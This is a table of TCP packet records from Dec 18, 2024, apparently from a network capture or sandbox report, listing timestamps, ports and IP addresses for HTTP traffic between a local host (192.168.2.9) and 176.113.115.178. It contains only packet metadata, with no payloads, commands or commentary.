Dec 18, 2024 14:08:02.779244900 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.779356003 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.780307055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.780318022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.780373096 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.781061888 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.781069994 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.781132936 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.781949997 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.782094002 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.782144070 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.782918930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.782926083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.782967091 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.783957005 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.783991098 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.784059048 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.784725904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.784859896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.784921885 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.785672903 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.785773993 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.785829067 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.786600113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.786675930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.786912918 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.787772894 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.787836075 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.787982941 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.788677931 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.788831949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.788878918 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.789386034 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.789490938 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.789541006 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.790482044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.790529013 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.790657043 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.791412115 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.791625977 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.791682005 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.792666912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.792675018 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.792728901 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.793525934 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.793593884 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.793740034 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.794244051 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.794251919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.794301987 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.795059919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.795067072 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.795130014 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.796322107 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.796329021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.796416044 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.796947956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.797163010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.797215939 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.797972918 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.798085928 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.798306942 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.798706055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.798852921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.798893929 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.799896955 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.799931049 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.799985886 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.800641060 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.800708055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.800764084 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.801608086 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.801728010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.801784039 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.802491903 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.802711010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.802762985 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.803566933 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.803668022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.803762913 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.804397106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.804522991 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.804574966 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.805301905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.805394888 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.805527925 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.806273937 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.806283951 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.806329966 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.807197094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.807301044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.807441950 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.808126926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.808186054 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.808301926 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.809077024 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.809154034 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.809206963 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.810024023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.810084105 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.810141087 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.810956955 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.811024904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.811086893 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.811892986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.812057018 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.812134981 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.812753916 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.812858105 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.812905073 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.957392931 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.957412958 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.957472086 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.957983017 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.957995892 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.958039999 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.958978891 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.958993912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.959054947 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.959244013 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.959506989 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.959526062 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.959575891 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.960472107 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.960486889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.960525036 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.961431026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.961443901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.961491108 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.962395906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.962409973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.962435961 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.963361979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.963373899 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.963424921 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.964111090 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.964148045 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.964958906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.965735912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.965749025 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.965789080 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.966453075 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.966466904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.966507912 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.967009068 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.967029095 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.967061043 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.968149900 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.968163013 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.968254089 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.969024897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.969038010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.969099998 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.969754934 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.969810963 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.969926119 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.970681906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.970721960 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.970788002 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.971626043 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.971664906 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.972521067 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.972913980 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.972927094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.972990036 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.973505974 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.973519087 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.973546982 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.974406004 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.974483013 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.974488020 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.975337029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.975373983 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.975519896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.976275921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.976327896 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.976380110 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.977235079 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.977317095 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.977360010 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.978159904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.978221893 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.978275061 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.979150057 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.979197979 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.979427099 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.980015993 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.980056047 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.980113029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.981165886 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.981205940 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.981266022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.981952906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.982018948 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.982024908 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.982805014 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.982850075 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.982995987 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.983724117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.983772993 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.983880043 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.984673977 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.984720945 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.984791994 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.985613108 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.985657930 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.985804081 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.986527920 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.986593008 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.986623049 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.988143921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.988183022 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.988539934 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.989212036 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.989223957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.989248991 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.990118980 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.990133047 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.990168095 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.990652084 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.990672112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.990700960 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.991406918 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.991453886 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.991660118 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.992201090 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.992247105 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.992424011 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.993324041 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.993361950 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.993395090 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.994260073 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.994271994 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.994297028 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.995035887 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.995083094 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.995256901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.995878935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.995934963 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.996009111 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.996889114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.996927023 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.997302055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.997956038 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.997968912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.998009920 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.999105930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.999119043 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.999162912 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.999768972 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.999783993 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.999824047 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.000550985 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.000591040 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.000747919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.001609087 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.001658916 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.001729012 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.002437115 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.002492905 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.002713919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.003380060 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.003432989 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.003453970 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.004340887 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.004395008 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.004473925 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.005340099 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.005377054 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.005395889 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.046430111 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.149585009 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.149770021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.149825096 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.149904013 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.149915934 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.149964094 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.150410891 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.150464058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.150513887 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.151181936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.151761055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.151870966 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.151904106 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.152446032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.152488947 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.152520895 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.153286934 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.153327942 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.153377056 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.154228926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.154278994 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.154314041 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.155114889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.155159950 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.155242920 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.156084061 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.156126022 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.156235933 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.157146931 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.157160997 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.157200098 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.157994032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.158040047 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.158073902 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.158871889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.158915043 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.158973932 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.159837008 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.159878016 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.160089016 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.160774946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.160861015 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.160923004 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.161752939 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.161766052 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.161798000 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.162704945 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.162753105 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.162887096 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.163620949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.163695097 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.163810968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.164580107 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.164625883 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.164628029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.165411949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.165452957 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.165679932 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.166637897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.166651011 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.166687012 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.167495966 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.167546034 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.167649031 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.168277979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.168323040 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.168324947 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.169217110 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.169260979 CET	49780	80	192.168.2.9	176.113.115.178
